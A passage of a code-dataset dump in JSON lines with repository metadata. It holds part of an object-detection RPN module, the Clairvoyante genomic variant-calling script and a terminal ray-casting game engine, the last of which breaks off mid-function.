num_anchors_per_image)\n        gt_anchor_deltas = torch.split(gt_anchor_deltas, num_anchors_per_map, dim=1)\n        # Concat from all feature maps\n        gt_anchor_deltas = cat([x.reshape(-1, B) for x in gt_anchor_deltas], dim=0)\n\n        # Collect all objectness logits and delta predictions over feature maps\n        # and images to arrive at the same shape as the labels and targets\n        # The final ordering is L, N, H, W, A from slowest to fastest axis.\n        pred_objectness_logits = cat(\n            [\n                # Reshape: (N, A, Hi, Wi) -> (N, Hi, Wi, A) -> (N*Hi*Wi*A, )\n                x.permute(0, 2, 3, 1).flatten()\n                for x in self.pred_objectness_logits\n            ],\n            dim=0,\n        )\n        pred_anchor_deltas = cat(\n            [\n                # Reshape: (N, A*B, Hi, Wi) -> (N, A, B, Hi, Wi) -> (N, Hi, Wi, A, B)\n                #          -> (N*Hi*Wi*A, B)\n                x.view(x.shape[0], -1, B, x.shape[-2], x.shape[-1])\n                .permute(0, 3, 4, 1, 2)\n                .reshape(-1, B)\n                for x in self.pred_anchor_deltas\n            ],\n            dim=0,\n        )\n\n        objectness_loss, localization_loss = rpn_losses(\n            gt_objectness_logits,\n            gt_anchor_deltas,\n            pred_objectness_logits,\n            pred_anchor_deltas,\n            self.smooth_l1_beta,\n        )\n        normalizer = 1.0 / (self.batch_size_per_image * self.num_images)\n        loss_cls = objectness_loss * normalizer  # cls: classification loss\n        loss_loc = localization_loss * normalizer  # loc: localization loss\n        losses = {\"loss_rpn_cls\": loss_cls, \"loss_rpn_loc\": loss_loc}\n\n        return losses\n\n    def predict_proposals(self):\n        \"\"\"\n        Transform anchors into proposals by applying the predicted anchor deltas.\n\n        Returns:\n            proposals (list[Tensor]): A list of L tensors. Tensor i has shape\n                (N, Hi*Wi*A, B), where B is box dimension (4 or 5).\n        \"\"\"\n        proposals = []\n        # Transpose anchors from images-by-feature-maps (N, L) to feature-maps-by-images (L, N)\n        anchors = list(zip(*self.anchors))\n        # For each feature map\n        for anchors_i, pred_anchor_deltas_i in zip(anchors, self.pred_anchor_deltas):\n            B = anchors_i[0].tensor.size(1)\n            N, _, Hi, Wi = pred_anchor_deltas_i.shape\n            # Reshape: (N, A*B, Hi, Wi) -> (N, A, B, Hi, Wi) -> (N, Hi, Wi, A, B) -> (N*Hi*Wi*A, B)\n            pred_anchor_deltas_i = (\n                pred_anchor_deltas_i.view(N, -1, B, Hi, Wi).permute(0, 3, 4, 1, 2).reshape(-1, B)\n            )\n            # Concatenate all anchors to shape (N*Hi*Wi*A, B)\n            # type(anchors_i[0]) is Boxes (B = 4) or RotatedBoxes (B = 5)\n            anchors_i = type(anchors_i[0]).cat(anchors_i)\n            proposals_i = self.box2box_transform.apply_deltas(\n                pred_anchor_deltas_i, anchors_i.tensor\n            )\n            # Append feature map proposals with shape (N, Hi*Wi*A, B)\n            proposals.append(proposals_i.view(N, -1, B))\n        return proposals\n\n    def predict_objectness_logits(self):\n        \"\"\"\n        Return objectness logits in the same format as the proposals returned by\n        :meth:`predict_proposals`.\n\n        Returns:\n            pred_objectness_logits (list[Tensor]): A list of L tensors. Tensor i has shape\n                (N, Hi*Wi*A).\n        \"\"\"\n        pred_objectness_logits = [\n            # Reshape: (N, A, Hi, Wi) -> (N, Hi, Wi, A) -> (N, Hi*Wi*A)\n            score.permute(0, 2, 3, 1).reshape(self.num_images, -1)\n            for score in self.pred_objectness_logits\n        ]\n        return pred_objectness_logits\n", "meta": {"hexsha": "194b8b073c379f3a5c9034cc2fe757e990189337", "size": 14462, "ext": "py", "lang": "Python", "max_stars_repo_path": "projects/thesis/continuous/custom/modeling/back/rpn_outputs.py", "max_stars_repo_name": "cpark90/rrrcnn", "max_stars_repo_head_hexsha": "ba66cc391265be76fa3896b66459ff7241b47972", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "projects/thesis/continuous/custom/modeling/back/rpn_outputs.py", "max_issues_repo_name": "cpark90/rrrcnn", "max_issues_repo_head_hexsha": "ba66cc391265be76fa3896b66459ff7241b47972", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "projects/thesis/continuous/custom/modeling/back/rpn_outputs.py", "max_forks_repo_name": "cpark90/rrrcnn", "max_forks_repo_head_hexsha": "ba66cc391265be76fa3896b66459ff7241b47972", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 46.8025889968, "max_line_length": 109, "alphanum_fraction": 0.6303415848, "include": true, "reason": "import numpy", "num_tokens": 3444, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5312093733737562, "lm_q2_score": 0.16451645880021024, "lm_q1q2_score": 0.08739268498892905}}
{"text": "import sys\nimport os\nimport time\nimport argparse\nimport param\nimport logging\nimport numpy as np\nfrom threading import Thread\nfrom math import log\n\nlogging.basicConfig(format='%(message)s', level=logging.INFO)\nnum2base = dict(zip((0, 1, 2, 3), \"ACGT\"))\nbase2num = dict(zip(\"ACGT\", (0, 1, 2, 3)))\nv1Type2Name = dict(zip((0, 1, 2, 3, 4), ('HET', 'HOM', 'INS', 'DEL', 'REF')))\nv2Zygosity2Name = dict(zip((0, 1), ('HET', 'HOM')))\nv2Type2Name = dict(zip((0, 1, 2, 3), ('REF', 'SNP', 'INS', 'DEL')))\nv2Length2Name = dict(zip((0, 1, 2, 3, 4, 5), ('0', '1', '2', '3', '4', '4+')))\nmaxVarLength = 5\ninferIndelLengthMinimumAF = 0.125\n\ndef Run(args):\n    # create a Clairvoyante\n    logging.info(\"Loading model ...\")\n    if args.v2 == True:\n        import utils_v2 as utils\n        utils.SetupEnv()\n        if args.slim == True:\n            import clairvoyante_v2_slim as cv\n        else:\n            import clairvoyante_v2 as cv\n    elif args.v3 == True:\n        import utils_v2 as utils # v3 network is using v2 utils\n        utils.SetupEnv()\n        if args.slim == True:\n            import clairvoyante_v3_slim as cv\n        else:\n            import clairvoyante_v3 as cv\n    if args.threads == None:\n        if args.tensor_fn == \"PIPE\":\n            param.NUM_THREADS = 4\n    else:\n        param.NUM_THREADS = args.threads\n    m = cv.Clairvoyante()\n    m.init()\n\n    m.restoreParameters(os.path.abspath(args.chkpnt_fn))\n    Test(args, m, utils)\n\n\ndef Output(args, call_fh, num, XBatch, posBatch, base, z, t, l):\n    if args.v2 == True or args.v3 == True:\n        if num != len(base):\n          sys.exit(\"Inconsistent shape between input tensor and output predictions %d/%d\" % (num, len(base)))\n        #          --------------  ------  ------------    ------------------\n        #          Base chng       Zygo.   Var type        Var length\n        #          A   C   G   T   HET HOM REF SNP INS DEL 0   1   2   3   4   >=4\n        #          0   1   2   3   4   5   6   7   8   9   10  11  12  13  14  15\n        for j in range(len(base)):\n            if args.showRef == False and np.argmax(t[j]) == 0: continue\n            # Get variant type, 0:REF, 1:SNP, 2:INS, 3:DEL\n            varType = np.argmax(t[j])\n            # Get zygosity, 0:HET, 1:HOM\n            varZygosity = np.argmax(z[j])\n            # Get Indel Length, 0:0, 1:1, 2:2, 3:3, 4:4, 5:>4\n            varLength = np.argmax(l[j])\n            # Get chromosome, coordination and reference bases with flanking param.flankingBaseNum flanking bases at coordination\n            chromosome, coordination, refSeq = posBatch[j].split(\":\")\n            # Get genotype quality\n            sortVarType = np.sort(t[j])[::-1]\n            sortZygosity = np.sort(z[j])[::-1]\n            sortLength = np.sort(l[j])[::-1]\n            qual = int(-4.343 * log((sortVarType[1]*sortZygosity[1]*sortLength[1]  + 1e-300) / (sortVarType[0]*sortZygosity[0]*sortLength[0]  + 1e-300)))\n            #if qual > 999: qual = 999\n            filt = \".\"\n            if args.qual != None:\n                if qual >= args.qual:\n                    filt = \"PASS\"\n                else:\n                    filt = \"LowQual\"\n            # Get possible alternative bases\n            sortBase = base[j].argsort()[::-1]\n            base1 = num2base[sortBase[0]]\n            base2 = num2base[sortBase[1]]\n            # Initialize other variables\n            refBase = \"\"; altBase = \"\"; inferredIndelLength = 0; dp = 0; af = 0.; info = [];\n            dp = sum(XBatch[j,param.flankingBaseNum,:,0]) + sum(XBatch[j,param.flankingBaseNum+1,:,1]) + \\\n                 sum(XBatch[j,param.flankingBaseNum+1,:,2]) + sum(XBatch[j,param.flankingBaseNum,:,3])\n            if dp != 0:\n                # For SNP\n                if varType == 1 or varType == 0: # SNP or REF\n                    coordination = int(coordination)\n                    refBase = refSeq[param.flankingBaseNum]\n                    if varType == 1: # SNP\n                        altBase = base1 if base1 != refBase else base2\n                        #altBase = \"%s,%s\" % (base1, base2)\n                    elif varType == 0: # REF\n                        altBase = refBase\n                    af = XBatch[j,param.flankingBaseNum,base2num[altBase],3] / dp\n                elif varType == 2: # INS\n                    # infer the insertion length\n                    if varLength == 0: varLength = 1\n                    af = sum(XBatch[j,param.flankingBaseNum+1,:,1]) / dp\n                    if varLength != maxVarLength:\n                        for k in range(param.flankingBaseNum+1, param.flankingBaseNum+varLength+1):\n                            altBase += num2base[np.argmax(XBatch[j,k,:,1])]\n                    else:\n                        for k in range(param.flankingBaseNum+1, 2*param.flankingBaseNum+1):\n                            referenceTensor = XBatch[j,k,:,0]; insertionTensor = XBatch[j,k,:,1]\n                            if k < (param.flankingBaseNum + maxVarLength) or sum(insertionTensor) >= (inferIndelLengthMinimumAF * sum(referenceTensor)):\n                                inferredIndelLength += 1\n                                altBase += num2base[np.argmax(insertionTensor)]\n                            else:\n                                break\n                    coordination = int(coordination)\n                    refBase = refSeq[param.flankingBaseNum]\n                    # insertions longer than (param.flankingBaseNum-1) are marked SV\n                    if inferredIndelLength >= param.flankingBaseNum:\n                        altBase = \"<INS>\"\n                        info.append(\"SVTYPE=INS\")\n                    else:\n                        altBase = refBase + altBase\n                elif varType == 3: # DEL\n                    if varLength == 0: varLength = 1\n                    af = sum(XBatch[j,param.flankingBaseNum+1,:,2]) / dp\n                    # infer the deletion length\n                    if varLength == maxVarLength:\n                        for k in range(param.flankingBaseNum+1, 2*param.flankingBaseNum+1):\n                            if k < (param.flankingBaseNum + maxVarLength) or sum(XBatch[j,k,:,2]) >= (inferIndelLengthMinimumAF * sum(XBatch[j,k,:,0])):\n                                inferredIndelLength += 1\n                            else:\n                               break\n                    # deletions longer than (param.flankingBaseNum-1) are marked SV\n                    coordination = int(coordination)\n                    if inferredIndelLength >= param.flankingBaseNum:\n                        refBase = refSeq[param.flankingBaseNum]\n                        altBase = \"<DEL>\"\n                        info.append(\"SVTYPE=DEL\")\n                    elif varLength != maxVarLength:\n                        refBase = refSeq[param.flankingBaseNum:param.flankingBaseNum+varLength+1]\n                        altBase = refSeq[param.flankingBaseNum]\n                    else:\n                        refBase = refSeq[param.flankingBaseNum:param.flankingBaseNum+inferredIndelLength+1]\n                        altBase = refSeq[param.flankingBaseNum]\n                if inferredIndelLength > 0 and inferredIndelLength < param.flankingBaseNum: info.append(\"LENGUESS=%d\" % inferredIndelLength)\n                infoStr = \"\"\n                if len(info) == 0: infoStr = \".\"\n                else: infoStr = \";\".join(info)\n                gtStr = \"\"\n                if varType == 0: gtStr = \"0/0\"\n                elif varZygosity == 0: gtStr = \"0/1\"\n                elif varZygosity == 1: gtStr = \"1/1\"\n\n                print >> call_fh, \"%s\\t%d\\t.\\t%s\\t%s\\t%d\\t%s\\t%s\\tGT:GQ:DP:AF\\t%s:%d:%d:%.4f\" % (chromosome, coordination, refBase, altBase, qual, filt, infoStr, gtStr, qual, dp, af)\n\n\ndef PrintVCFHeader(args, call_fh):\n    print >> call_fh, '##fileformat=VCFv4.1'\n    print >> call_fh, '##FILTER=<ID=PASS,Description=\"All filters passed\">'\n    print >> call_fh, '##FILTER=<ID=LowQual,Description=\"Confidence in this variant being real is below calling threshold.\">'\n    print >> call_fh, '##ALT=<ID=DEL,Description=\"Deletion\">'\n    print >> call_fh, '##ALT=<ID=INS,Description=\"Insertion of novel sequence\">'\n    print >> call_fh, '##INFO=<ID=SVTYPE,Number=1,Type=String,Description=\"Type of structural variant\">'\n    print >> call_fh, '##INFO=<ID=LENGUESS,Number=.,Type=Integer,Description=\"Best guess of the indel length\">'\n    print >> call_fh, '##FORMAT=<ID=GT,Number=1,Type=String,Description=\"Genotype\">'\n    print >> call_fh, '##FORMAT=<ID=GQ,Number=1,Type=Integer,Description=\"Genotype Quality\">'\n    print >> call_fh, '##FORMAT=<ID=DP,Number=1,Type=Integer,Description=\"Read Depth\">'\n    print >> call_fh, '##FORMAT=<ID=AF,Number=1,Type=Float,Description=\"Estimated allele frequency in the range (0,1)\">'\n\n    if args.ref_fn != None:\n      fai_fn = args.ref_fn + \".fai\"\n      fai_fp = open(fai_fn)\n      for line in fai_fp:\n          fields = line.strip().split(\"\\t\")\n          chromName = fields[0]\n          chromLength = int(fields[1])\n          print >> call_fh, \"##contig=<ID=%s,length=%d>\" % (chromName, chromLength)\n\n    print >> call_fh, '#CHROM\\tPOS\\tID\\tREF\\tALT\\tQUAL\\tFILTER\\tINFO\\tFORMAT\\t%s' % (args.sampleName)\n\ndef Test(args, m, utils):\n    call_fh = open(args.call_fn, \"w\")\n    if args.v2 == True or args.v3 == True:\n        PrintVCFHeader(args, call_fh)\n    tensorGenerator = utils.GetTensor( args.tensor_fn, param.predictBatchSize )\n    logging.info(\"Calling variants ...\")\n    predictStart = time.time()\n    end = 0; end2 = 0; terminate = 0\n    end2, num2, XBatch2, posBatch2 = next(tensorGenerator)\n    m.predictNoRT(XBatch2)\n    base = m.predictBaseRTVal; z = m.predictZygosityRTVal; t = m.predictVarTypeRTVal; l = m.predictIndelLengthRTVal\n    if end2 == 0:\n        end = end2; num = num2; XBatch = XBatch2; posBatch = posBatch2\n        end2, num2, XBatch2, posBatch2 = next(tensorGenerator)\n        while True:\n            if end == 1:\n                terminate = 1\n            threadPool = []\n            if end == 0:\n                threadPool.append(Thread(target=m.predictNoRT, args=(XBatch2, )))\n            threadPool.append(Thread(target=Output, args=(args, call_fh, num, XBatch, posBatch, base, z, t, l, )))\n            for t in threadPool: t.start()\n            if end2 == 0:\n                end3, num3, XBatch3, posBatch3 = next(tensorGenerator)\n            for t in threadPool: t.join()\n            base = m.predictBaseRTVal; z = m.predictZygosityRTVal; t = m.predictVarTypeRTVal; l = m.predictIndelLengthRTVal\n            if end == 0:\n                end = end2; num = num2; XBatch = XBatch2; posBatch = posBatch2\n            if end2 == 0:\n                end2 = end3; num2 = num3; XBatch2 = XBatch3; posBatch2 = posBatch3\n            #print >> sys.stderr, end, end2, end3, terminate\n            if terminate == 1:\n                break\n    elif end2 == 1:\n        Output(args, call_fh, num2, XBatch2, posBatch2, base, z, t, l)\n\n    logging.info(\"Total time elapsed: %.2f s\" % (time.time() - predictStart))\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n            description=\"Call variants using a trained Clairvoyante model and tensors of candididate variants\" )\n\n    parser.add_argument('--tensor_fn', type=str, default = \"PIPE\",\n            help=\"Tensor input, use PIPE for standard input\")\n\n    parser.add_argument('--chkpnt_fn', type=str, default = None,\n            help=\"Input a checkpoint for testing or continue training\")\n\n    parser.add_argument('--call_fn', type=str, default = None,\n            help=\"Output variant predictions\")\n\n    parser.add_argument('--qual', type=int, default = None,\n            help=\"If set, variant with equal or higher quality will be marked PASS, or LowQual otherwise, optional\")\n\n    parser.add_argument('--sampleName', type=str, default = \"SAMPLE\",\n            help=\"Define the sample name to be shown in the VCF file\")\n\n    parser.add_argument('--showRef', type=param.str2bool, nargs='?', const=True, default = False,\n            help=\"Show reference calls, optional\")\n\n    parser.add_argument('--ref_fn', type=str, default=None,\n                    help=\"Reference fasta file input, optional, print contig tags in the VCF header if set\")\n\n    parser.add_argument('--threads', type=int, default = None,\n            help=\"Number of threads, optional\")\n\n    parser.add_argument('--v3', type=param.str2bool, nargs='?', const=True, default = True,\n            help=\"Use Clairvoyante version 3\")\n\n    parser.add_argument('--v2', type=param.str2bool, nargs='?', const=True, default = False,\n            help=\"Use Clairvoyante version 2\")\n\n    parser.add_argument('--slim', type=param.str2bool, nargs='?', const=True, default = False,\n            help=\"Train using the slim version of Clairvoyante, optional\")\n\n    args = parser.parse_args()\n\n    if len(sys.argv[1:]) == 0:\n        parser.print_help()\n        sys.exit(1)\n\n    Run(args)\n\n\nif __name__ == \"__main__\":\n    main()\n", "meta": {"hexsha": "3348cfc77352405fdeb79e37a7d54efbaaf89c69", "size": 12913, "ext": "py", "lang": "Python", "max_stars_repo_path": "clairvoyante/callVar.py", "max_stars_repo_name": "strixy16/Clairvoyante", "max_stars_repo_head_hexsha": "2bf60f9fc54d51518730d94cb05ffdf3a51f0176", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 171, "max_stars_repo_stars_event_min_datetime": "2017-07-24T00:35:48.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-24T08:28:59.000Z", "max_issues_repo_path": "clairvoyante/callVar.py", "max_issues_repo_name": "strixy16/Clairvoyante", "max_issues_repo_head_hexsha": "2bf60f9fc54d51518730d94cb05ffdf3a51f0176", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 45, "max_issues_repo_issues_event_min_datetime": "2018-10-30T07:37:42.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-30T07:53:24.000Z", "max_forks_repo_path": "clairvoyante/callVar.py", "max_forks_repo_name": "strixy16/Clairvoyante", "max_forks_repo_head_hexsha": "2bf60f9fc54d51518730d94cb05ffdf3a51f0176", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 27, "max_forks_repo_forks_event_min_datetime": "2017-07-23T21:43:50.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-27T01:07:29.000Z", "avg_line_length": 48.3632958801, "max_line_length": 182, "alphanum_fraction": 0.5564934562, "include": true, "reason": "import numpy", "num_tokens": 3418, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5888891451980404, "lm_q2_score": 0.14804720179063333, "lm_q1q2_score": 0.08718339011144785}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nA terminal based ray-casting engine.\n\n'esc' to exit\n't' to turn off textures\n'wasdqe' or arrow-keys to move\n'space' to jump\n\nDepending on your terminal font, Renderer.ascii_map may need to be adjusted.\nIf you'd like to make an ascii map more suitable to your terminal's font,\ncheck my Snippets repository for a script that grabs mean brightness of\nunicode characters.\n\nValues stored in textures should range from 0-9.  Values below 6 are\nsubtractive and above 6 are additive.\n\"\"\"\nfrom collections import defaultdict\nimport json\nimport numpy as np\nimport curses\nfrom pynput import keyboard\nfrom pynput.keyboard import Key, KeyCode\n\n\nclass Map:\n    \"\"\"\n    A helper class for easy loading of maps.\n\n    Each sprite is a dict with keys \"pos\",\"image\",\"relative\" for position,\n    sprite image number, and relative position to player (which will be set\n    after first call to cast_sprites in the renderer).\n    \"\"\"\n    def __init__(self, file_name):\n        self.load(file_name)\n\n    def load(self, file_name):\n        with open(file_name + \".json\", 'r') as file:\n            map_dict = json.load(file)\n            self.__map = np.array(map_dict[\"map\"]).T\n            self.sprites = map_dict[\"sprites\"]\n        for sprite in self.sprites: #lists --> numpy arrays\n            sprite[\"pos\"] = np.array(sprite[\"pos\"])\n\n    def __getitem__(self, key):\n        return self.__map[key]\n\n\nclass Player:\n    \"\"\"\n    Player class with methods for moving and updating any effects on the\n    player such as falling.\n    \"\"\"\n    def __init__(self, game_map, pos=np.array([5., 5.]),\n                 initial_angle=0):\n        #Settings======================================================\n        self.speed = .1\n        self.rotate_speed = .05\n        self.jump_time = 8\n        self.field_of_view = .6 #Somewhere between 0 and 1 is reasonable\n\n        self.game_map = game_map\n        self.pos = pos\n        self.cam = np.array([[1, 0], [0, self.field_of_view]]) @\\\n                   np.array([[np.cos(initial_angle), np.sin(initial_angle)],\n                             [-np.sin(initial_angle), np.cos(initial_angle)]])\n        self.left = np.array([[np.cos(-self.rotate_speed),\n                               np.sin(-self.rotate_speed)],\n                              [-np.sin(-self.rotate_speed),\n                                np.cos(-self.rotate_speed)]])\n        self.right = np.array([[np.cos(self.rotate_speed),\n                                np.sin(self.rotate_speed)],\n                               [-np.sin(self.rotate_speed),\n                                np.cos(self.rotate_speed)]])\n        self.perp = np.array([[0., -1.],\n                              [1., 0.]])\n        self.time_in_jump = 0\n        self.z = 0.\n        self.is_jumping = False\n\n    def update(self):\n        #We'll have more to do here eventually.\n        self.fall()\n\n    def fall(self):\n        if not self.is_jumping:\n            return\n        if self.time_in_jump >= 2 * self.jump_time:\n            self.is_jumping, self.time_in_jump, self.z = False, 0, 0.\n            return\n        self.z +=\\\n         (self.jump_time - self.time_in_jump)**2 / (10 * self.jump_time**2)\\\n          * (1 if self.time_in_jump < self.jump_time else -1)\n        self.time_in_jump += 1\n\n    def turn(self, left=True):\n        self.cam = self.cam @ (self.left if left else self.right)\n\n    def move(self, speed, strafe=False):\n        next_step = self.pos + speed * \\\n                    (self.cam[0] @ self.perp if strafe else self.cam[0])\n\n        #If we can move both coordinates at once, we should\n        if not self.game_map[tuple(next_step.astype(int))]:\n            self.pos = next_step\n\n        #Allows 'sliding' on walls\n        elif not self.game_map[int(next_step[0])][int(self.pos[1])]:\n            self.pos[0] = next_step[0]\n        elif not self.game_map[int(self.pos[0])][int(next_step[1])]:\n            self.pos[1] = next_step[1]\n\n\nclass Renderer:\n    \"\"\"\n    The Renderer class is responsible for everything drawn on the screen --\n    including the environment, sprites, menus, items. All textures stored here.\n    \"\"\"\n    def __init__(self, screen, player, game_map, *textures):\n        #Settings======================================================\n        self.max_hops = 60 #How far rays are cast.\n\n        self.screen = screen\n        self.height, self.width = self.screen.getmaxyx()\n        self.floor_y = self.height // 2\n        self.distances = [0] * self.width\n        self.player = player\n        self.game_map = game_map\n        self.load_textures(*textures)\n        self.textures_on = True\n\n        #So we have fewer arrays to initialize inside loops============\n        self.hght_inv = np.array([0, 1 / self.height])\n        self.const = np.array([1, -1])\n\n        #Shading Constants--It's safe to modify ascii_map==============\n        self.ascii_map = dict(enumerate(' .,:;<+*LtCa4U80dQM@'))\n        self.shades = len(self.ascii_map) - 1\n        self.side_shade = (self.shades + 1) // 5\n        self.shade_dif = self.shades - self.side_shade\n\n    def load_textures(self, *texture_names):\n        self.textures = []\n        for name in texture_names:\n            with open(name + \".json\", 'r') as texture:\n                pre_load = json.load(texture)\n                self.textures.append(np.array(pre_load).T)\n\n    def cast_ray(self, column):\n        \"\"\"\n        TODO: Pass a full numpy array of columns all at once -- we need to\n        adjust the for-loop to accommodate, but everything else should stay\n        pretty much untouched besides using an einsum to calculate ray_angle.\n\n        #Notes for ray_angle if vectorized columns -- I think this is right for\n        #doing element-wise scalar*vector and then element-wise matrix_mul\n        column_transform = np.einsum('i,j->ij',columns, self.hght_inv) + self.const\n        ray_angles = np.einsum('jk,ij->ij', cam, column_transform)\n\n        A possible solution for the vectorized for-loop is to create an\n        array that keeps track of whether a column has hit a wall and then\n        use np.where to only do the operations inside the loop for arrays that\n        haven't hit a wall yet.\n        \"\"\"\n        ray_angle = self.player.cam.T @ (column * self.hght_inv + self.const)\n        map_pos = self.player.pos.astype(int)\n        with np.errstate(divide=\"ignore\"):\n            delta = abs(1 / ray_angle)\n        step = 2 * np.heaviside(ray_angle, 1) - 1\n        side_dis = step * (map_pos + (step + 1) / 2 - self.player.pos) * delta\n\n        #Cast a ray until we hit a wall or hit max_range\n        for hops in range(self.max_hops):\n            side = 0 if side_dis[0] < side_dis[1] else 1\n            side_dis[side] += delta[side]\n            map_pos[side] += step[side]\n            if self.game_map[tuple(map_pos)]:\n                break\n        else:\n            #No walls in range\n            self.distances[column] = float(\"inf\")\n            return float(\"inf\"), side, map_pos, ray_angle\n\n        #Avoiding euclidean distance, to avoid fish-eye effect.\n        wall_dis =\\\n         (map_pos[side] - self.player.pos[side] + (1 - step[side]) / 2)\\\n         / ray_angle[side]\n        #Save distance for sprite calculations.\n        self.distances[column] = wall_dis\n        return wall_dis, side, map_pos, ray_angle\n\n    def draw_column(self, wall_dis, side, map_pos, ray_angle):\n        line_height = int(self.height / wall_dis) if wall_dis else self.height\n        if line_height == 0:\n            return 0, 0, [] #Draw nothing\n\n        line_start, line_end =\\\n         [int((i * line_height + self.height) / 2 +\n              self.player.z * line_height) for i in [-1, 1]]\n        line_start = 0 if line_start < 0 else line_start\n        line_end = self.height if line_end > self.height else line_end\n        line_height = line_end - line_start #Correct off-by-one errors\n\n        #Shading\n        shade = line_height if line_height < self.shade_dif else self.shade_dif\n        shade += 0 if side else self.side_shade #One side is brighter\n\n        #A buffer to store shade values\n        shade_buffer = [shade] * line_height\n\n        #Texturing\n        if self.textures_on:\n            tex_num = self.game_map[tuple(map_pos)] - 1\n            texture_width, texture_height = self.textures[tex_num].shape\n\n            wall_x =\\\n             (self.player.pos[1 - side] + wall_dis * ray_angle[1 - side]) % 1\n            tex_x = int(wall_x * texture_width)\n            if -1**side * ray_angle[side] < 0:\n                tex_x = texture_width - tex_x - 1\n\n            #Add or subtract texture values to shade values\n            tex_to_wall_ratio = texture_height / line_height\n            for i, val in enumerate(shade_buffer):\n                tex_y = int(i * tex_to_wall_ratio)\n                val += 2 * self.textures[tex_num][tex_x, tex_y] - 12\n\n                #Write to shade_buffer, this clipping logic will be changed\n                #in the future.\n                if val <= 1:\n                    shade_buffer[i] = 1\n                elif 1 < val <= self.shades:\n                    shade_buffer[i] = val\n                else:\n                    shade_buffer[i] = self.shades\n\n        #Convert shade values to ascii; convert to array to broadcast to buffer\n        column_buffer = [self.ascii_map[val] for val in shade_buffer]\n        column_buffer = np.array(column_buffer, dtype=str)\n        return line_start, line_end, column_buffer\n\n    def cast_sprites(self):\n        #For each sprite, calculate distance (squared) to player\n        sprite_distances = {}\n        for i, sprite in enumerate(self.game_map.sprites):\n            #Relative position of sprite to player\n            sprite[\"relative\"] = self.player.pos - sprite[\"pos\"]\n            sprite_distances[i] = sprite[\"relative\"] @ sprite[\"relative\"]\n\n        #Sprites sorted by distance from player.\n        sorted_sprites = sorted(sprite_distances, key=sprite_distances.get,\n                                reverse=True)\n        sorted_sprites = [self.game_map.sprites[i] for i in sorted_sprites]\n\n        #Camera Inverse used to calculate transformed position of sprites.\n        cam_inv = np.linalg.inv(-self.player.cam[::-1])\n\n        #Draw each sprite from furthest to closest.\n        for sprite in sorted_sprites:\n            #Transformed position of sprites due to camera's plane and angle\n            trans_pos = sprite[\"relative\"] @ cam_inv\n\n            if trans_pos[1] <= 0: #Sprite is behind player, don't draw it.\n                continue\n\n            #Sprite x-position on screen\n            sprite_x = int(self.height * (1 + trans_pos[0] / trans_pos[1]) - 1)\n            #Sprite width and height\n            sprite_height = int(self.height / trans_pos[1])\n            sprite_width = int(self.width / trans_pos[1] / 2)\n            if not all([sprite_height, sprite_width]): #Sprite too small.\n                continue\n\n            #Start and end points of vertical lines of the sprite\n            start_y, end_y = [int((i * sprite_height + self.height) / 2\n                              + self.player.z * sprite_height)\n                              for i in [-1, 1]]\n            if start_y < 0: start_y = 0\n            if end_y >= self.height: end_y = self.height\n\n            #Start and end points of horizontal lines\n            start_x, end_x = [(i * sprite_width // 2 + sprite_x)\n                              for i in [-1, 1]]\n            if start_x < 0: start_x = 0\n            if end_x > self.width: end_x = self.width\n\n            tex_width, tex_height = self.textures[sprite[\"image\"]].shape\n\n            #Calculate some constants outside the next loops:\n            clip_x = sprite_x - sprite_width / 2\n            clip_y = (sprite_height - self.height) / 2\\\n                      - self.player.z * sprite_height\n            width_ratio = tex_width / sprite_width\n            height_ratio = tex_height / sprite_height\n\n            #Draw sprite -- outer-loop, left-to-right; inner, top-to-bottom\n            for column in range(start_x, end_x):\n                #From which column in the texture characters are taken\n                tex_x = int((column - clip_x) * width_ratio)\n\n                #Check that column isn't off-screen and that sprite isn't\n                #blocked by a wall\n                if 0 <= column <= self.width and\\\n                   trans_pos[1] <= self.distances[column]:\n\n                    vertical_buffer = [0] * (end_y - start_y)\n\n                    for i in range(start_y, end_y):\n                        #From which row characters are taken\n                        tex_y = int((i + clip_y) * height_ratio)\n                        char = self.textures[sprite[\"image\"]][tex_x, tex_y]\n                        vertical_buffer[i - start_y] = char\\\n                            if char != \"0\" else self.buffer[i, column]\n\n                    #Convert to array to broadcast into buffer\n                    vertical_buffer = np.array(vertical_buffer, dtype=str)\n                    self.buffer[start_y:end_y, column] = vertical_buffer\n\n    def update(self):\n        #Clear buffer\n        self.buffer = np.full((self.height, self.width), \" \", dtype=str)\n\n        #Draw floor\n        self.buffer[self.floor_y:, :] = self.ascii_map[1]\n\n        #Draw walls\n        for column in range(self.width - 1):\n            start, end, col_buffer = self.draw_column(*self.cast_ray(column))\n            self.buffer[start:end, column] = col_buffer\n\n        #Draw sprites\n        self.cast_sprites()\n\n        #Push buffer to screen\n        self.render()\n\n    def render(self):\n        for row_num, row in enumerate(self.buffer):\n            self.screen.addstr(row_num, 0, ''.join(row[:-1]))\n        self.screen.refresh()\n\n\nclass Controller():\n    \"\"\"\n    Controller class handles user input and updates all other objects.\n    \"\"\"\n    def __init__(self, player, renderer):\n        self.running = True\n        self.player = player\n        self.renderer = renderer\n        self.keys = self.jumping_keys = defaultdict(bool)\n        self.player_has_jumped = False\n        self.listener = keyboard.Listener(on_press=self.pressed,\n                                          on_release=self.released)\n        self.listener.start()\n\n    def user_input(self):\n        if self.keys[Key.esc]:\n            self.running = False\n            self.listener.stop()\n        if self.keys[KeyCode(char='t')]:\n            self.renderer.textures_on = not self.renderer.textures_on\n            self.keys[KeyCode(char='t')] = False\n        self.movement()\n\n    def pressed(self, key):\n        self.keys[key] = True\n\n    def released(self, key):\n        